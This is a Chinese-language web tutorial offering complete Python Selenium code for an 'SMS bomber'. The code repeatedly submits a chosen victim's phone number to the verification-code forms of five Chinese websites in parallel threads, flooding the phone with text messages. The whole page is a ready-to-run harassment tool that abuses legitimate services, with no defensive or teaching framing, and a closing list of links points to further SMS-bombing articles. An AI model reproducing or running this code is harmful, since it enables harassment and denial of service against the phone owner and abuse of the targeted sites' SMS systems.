Python短信轰炸的代码
2020-03-28 12:34
7901 查看
环境 python3.0
工具 pycharm
程序执行方法
from selenium import webdriver import time from threading import Thread class HongZha(object): def __init__(self): self.phone = "xxxxx"#你要轰炸的电话号码 self.num = 0 def send_yzm(self,button,name): button.click() self.num+=1 print("{} 第{}次 发送成功 {}".format(self.phone,self.num,name)) time.sleep(30) def zhihu(self,name): while True:#下面这行是刚刚叙说的chromedrive的安装路径 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get("https://www.zhihu.com/question/39993344") driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click () time.sleep(2) tel = driver.find_element_by_xpath("//input[@placeholder='手机号']") tel.send_keys(self.phone) button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" ) self.send_yzm(button,name) driver.quit () def guazi(self,name): while True: driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get("https://www.guazi.com/www/bj/buy") a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" ) a_btn.click() time.sleep(2) tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']") tel.send_keys( self.phone ) button = driver.find_element_by_xpath("//button[@class='get-code']") self.send_yzm(button,name) driver.quit() def wphui(self,name): while True: driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" ) tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" ) tel.send_keys ( self.phone ) driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click() button = driver.find_element_by_xpath ( "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" ) self.send_yzm ( button,name ) driver.quit () def suning(self,name): while True: driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get ( "https://reg.suning.com/person.do" ) driver.find_element_by_xpath("//a[@class='agree-btn']").click() tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']") tel.send_keys ( self.phone ) button = driver.find_element_by_xpath ( "//a[@id='sendSmsCode']" ) self.send_yzm ( button,name ) driver.quit () def yhd(self,name): while True: driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get ( "https://passport.yhd.com/passport/register_input.do" ) driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja") tel = driver.find_element_by_xpath ( "//input[@id='phone']" ) tel.send_keys ( self.phone ) time.sleep(2) button = driver.find_element_by_xpath ( "//a[@class='receive_code fl same_code_btn r_disable_code ']" ) #button.click() time.sleep(1) self.send_yzm ( button,name ) driver.quit ()
执行放发
from threading import Thread from sendPhon import HongZha hongzha = HongZha() zhihu = Thread(target=hongzha.zhihu,args=("知乎",)) guazi = Thread ( target=hongzha.guazi,args=("瓜子",)) wphui = Thread(target=hongzha.wphui,args=("唯品会",)) suning = Thread(target=hongzha.suning,args=("苏宁",)) yhd= Thread( target=hongzha.yhd,args=("一号店",)) zhihu.start() guazi.start() wphui.start() suning.start() yhd.start()
总结
到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
您可能感兴趣的文章:
相关文章推荐
- 100%教会你用python代码实现多线程并发死循环短信轰炸器
- eoLinker-API_Shop_短信服务接口-调用示例代码,支持PHP、Python、Java等语言
- 利用网络短信验证码接口实现手机短信轰炸 (历史代码,贴出学习)
- Python3+Selenium+Phantomjs短信轰炸
- python正则表达式分析新浪网天气预报,通过pyfetion发送短信的代码
- 使用python进行短信轰炸
- 基于python的短信接口调用代码示例模板
- python 短信轰炸原理及实现
- 6.4 Python版本的短信接口示例代码
- 基于NaiveBayse SVM KNN的Python垃圾短信过滤系统 附代码
- python 代码赏析
- 资源 | 想用Python学机器学习?Google大神替你写好了所有的编程示范代码
- 破解md5的python代码,持续更新
- Python模块化开发组织代码程序示例
- cookies提取——从字符串到字典(一行Python代码)
- 少说话多写代码之Python学习027——条件语句04(同一运算符、字符串序列比较、布尔运算符)
- Python之测试代码
- 一行Python代码能实现什么丧心病狂的功能?
- Python代码调试的几种方法总结